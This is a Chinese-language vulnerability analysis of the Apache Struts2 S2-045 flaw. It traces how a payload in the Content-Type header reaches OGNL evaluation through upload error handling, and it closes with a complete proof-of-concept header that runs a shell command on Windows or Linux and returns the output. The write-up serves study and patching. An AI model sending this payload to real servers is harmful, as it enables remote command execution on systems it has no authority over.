struts2漏洞分析之S2-045

简介

影响版本:2.3.31-2.3.5 2.5-2.5.10.1

漏洞原因:在处理上传文件的方法中,content-type中存在payload,处理错误并捕捉了异常信息(里面带有payload),后又OGNL解析

调试分析

在获取action mapper前会对HttpServletRequest做一次封装。

检测content-type中是否存在multi/form-data,即检查是否上传文件,如果上传文件则对上传文件进行处理

该处对上传文件进行保存,跟进该方法

如果处理文件异常,则会进入buildErrorMessage方法,跟进

该方法将错误信息传入findText方法进行处理,跟进

可以看到defaultMessage中包含了恶意代码,继续跟进

该处将defaultMessage传入getDefaultMessage方法中,跟进

这个地方getDefaultMessage被传递给message,而message则调用TextParseUtil.translateVariables进行处理,跟进

可以看到恶意代码被传入parser.evaluate中,而该方法会执行ognl表达式,跟进分析

这个地方expression中的ognl表达式被筛选出来并传递给了var,而var则传入evaluator.evaluate方法,跟进

将值传入stack.findValue中

最终传递到getValue方法执行表达式

poc

1
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"